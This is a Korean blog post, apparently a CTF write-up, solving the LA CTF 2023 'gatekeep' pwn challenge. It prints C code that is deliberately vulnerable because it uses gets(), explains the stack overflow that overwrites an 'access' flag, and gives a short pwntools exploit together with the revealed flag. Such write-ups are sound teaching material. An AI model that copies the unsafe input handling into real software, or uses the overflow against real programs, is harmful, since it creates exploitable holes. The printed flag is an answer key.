LA CTF 2023 - pwn/gatekeep

2023. 2. 13. 07:04·CTF/Solved
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

void print_flag() {
    char flag[256];

    FILE* flagfile = fopen("flag.txt", "r");
    
    if (flagfile == NULL) {
        puts("Cannot read flag.txt.");
    } else {
        fgets(flag, 256, flagfile);
        flag[strcspn(flag, "\n")] = '\0';
        puts(flag);
    }
}

int check(){
    char input[15];
    char pass[10];
    int access = 0;

    // If my password is random, I can gatekeep my flag! :)
    int data = open("/dev/urandom", O_RDONLY);
    if (data < 0)
    {
        printf("Can't access /dev/urandom.\n");
        exit(1);
    }
    else
    {
        ssize_t result = read(data, pass, sizeof pass);
        if (result < 0)
        {
            printf("Data not received from /dev/urandom\n");
            exit(1);
        }
    }
    close(data);
    
    printf("Password:\n");
    gets(input);

    if(strcmp(input, pass)) {
        printf("I swore that was the right password ...\n");
    }
    else {
        access = 1;
    }

    if(access) {
        printf("Guess I couldn't gaslight you!\n");
        print_flag();
    }
}

int main(){
    setbuf(stdout, NULL);
    printf("If I gaslight you enough, you won't be able to guess my password! :)\n");
    check();
    return 0;
}

2.2. 분석

바이너리가 실행되면 check 함수에서 랜덤한 값을 urandom을 통해 가져오고,

password를 입력 받은 다음에 이를 서로 비교해서 access가 1이면 flag를 출력해준다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

stack overflow로 인해 타 변수의 값을 조작할 수 있다.

3.2. 공격 준비

첫 문제라 비교적 간단하다.

password가 입력된 값과 동일한지 확인한 뒤 access 변수의 값으로 이를 판단하기 때문에,

access 변수 값을 조작할 수 있으면 flag를 얻을 수 있다.

 

password는 gets로 입력받기 때문에 그 크기가 정해져있지 않아 access 변수까지 침범하여 값을 쓸 수 있다.

 

4. exploit

from pwn import *

#p = process('./gatekeep')
p = remote('lac.tf', 31121)

pay = b'A'*(8+8+7+4)
pay += b'\x01'

p.sendlineafter('Password:\n',pay)

p.interactive()

 

┌──(kali㉿kali)-[~/Downloads/gate]
└─$ python solve.py
[+] Opening connection to lac.tf on port 31121: Done
[*] Switching to interactive mode
I swore that was the right password ...
Guess I couldn't gaslight you!
lactf{sCr3am1nG_cRy1Ng_tHr0w1ng_uP}
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'CTF > Solved' 카테고리의 다른 글

LA CTF 2023 - pwn / rickroll  (0) 2023.02.13
LA CTF 2023 - pwn/bot  (0) 2023.02.13
BB CTF 2023 - Medium pwn  (0) 2023.02.06
BB CTF 2023 - Easy pwn  (0) 2023.02.06
DiceCTF 2023 - pwn/bop  (0) 2023.02.06
'CTF/Solved' 카테고리의 다른 글
  • LA CTF 2023 - pwn / rickroll
  • LA CTF 2023 - pwn/bot
  • BB CTF 2023 - Medium pwn
  • BB CTF 2023 - Easy pwn
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (500) N
      • To do list (7) N
        • Doing (1) N
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (27) N
        • Theory (15)
        • Exercise (5) N
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41) N
        • Solved (39) N
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    64bit
    libc
    pwntools
    la ctf
    x64
    cryptohack
    BOF
    heap
    rop
    hackerschool
    lob
    Me
    phoenix
    pwnable.kr
    FSB
    exploit education
    x86
    tcache
    root
    CANARY
    root-me
    32bit
    vtable
    _IO_FILE
    ROOT ME
    docker
    RTL
    Buffer Overflow
    dreamhack
    Format String Bug
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
LA CTF 2023 - pwn/gatekeep
상단으로

티스토리툴바